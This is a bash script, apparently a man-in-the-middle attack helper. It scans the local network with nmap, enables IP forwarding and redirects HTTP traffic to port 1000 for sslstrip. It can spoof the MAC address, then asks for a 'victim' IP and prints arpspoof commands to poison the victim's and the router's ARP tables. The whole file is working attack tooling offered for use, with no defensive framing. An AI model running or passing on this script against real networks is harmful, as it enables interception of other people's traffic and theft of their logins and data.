MITM.sh

#!/bin/bash
#Requires ipcalc

function local_ips_f() {
    if [ $(cat /etc/*release | grep -ci ^ID=kali) -ge 1 ]; then  # Verify Linux is Kali
        IP_AND_MASK=`ip addr | grep 'state UP' -A2 | tail -n1 | awk '{print $2}'`
    elif [ $(cat /etc/*release | grep -ci ^id=ubuntu) -ge 1 ]; then # Verify Linux is Ubuntu
        IP_AND_MASK=`ifconfig | grep "inet addr" | head -n1 | sed 's|.*addr:\([0-9\.]*\).*Mask:\([0-9\.]*\)|\1/\2|g'`
    fi
    NETWORK=`ipcalc "$IP_AND_MASK" | grep "Network:" | sed 's|^Network:\s*\([0-9/\.]*\).*|\1|g'`
    echo ''
    nmap -n -sP "$NETWORK" -oG - | awk '/Up$/{print $2}'
    echo ''
}

function routeme_f() {
    echo 'Configuring machine to allow port forwarding...'
    if [ $(cat /proc/sys/net/ipv4/ip_forward) != 1 ]; then
        echo '1' > /proc/sys/net/ipv4/ip_forward
    fi
    echo $(tput setaf 2)Complete!$(tput sgr0)
    echo ''
    sleep 2
}

function ip_tables_f() {
    echo 'Configuring iptables for sslstrip traffice.'
    echo 'iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1000'
    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1000
    echo $(tput setaf 2)Complete!$(tput sgr0)
    echo ''
    sleep 2
}

function gateway_device_f() {
    gateway_r=$(netstat -rn | grep 'UG' | awk '{print $NF}')
    export gateway_r
}

function macspoof_f() {
    echo 'Spoofing mac address'
    ifconfig $gateway_r down
    macchanger -r $gateway_r
    ifconfig $gateway_r up
    echo $(tput setaf 2)Complete!$(tput sgr0)
}

function gateway_f() {
    gateway_r_ip=$(netstat -rn | grep 'UG' | awk '{print $2}')
    export gateway_r_ip
}

function arpspoof_f() {
    echo "I need the victim's IP address:"
    read -r -p '>>> ' victimIP
    export victimIP
    echo ''

    echo Configuring arpspoof between victim and router...
    echo arpspoof -i $gateway_r -t $victimIP $gateway_r_ip
    echo $(tput setaf 2)Complete!$(tput sgr0)
    echo ''

    echo Configuring arpspoof to capture packets from router to victim...
    echo arpspoof -i $gateway_r -t $gateway_r_ip $victimIP
    echo $(tput setaf 2)Complete!$(tput sgr0)
    echo ''
}

routeme_f
ip_tables_f
gateway_device_f
#macspoof_f
gateway_f
local_ips_f
arpspoof_f

sleep 4
screen -c my_screenrc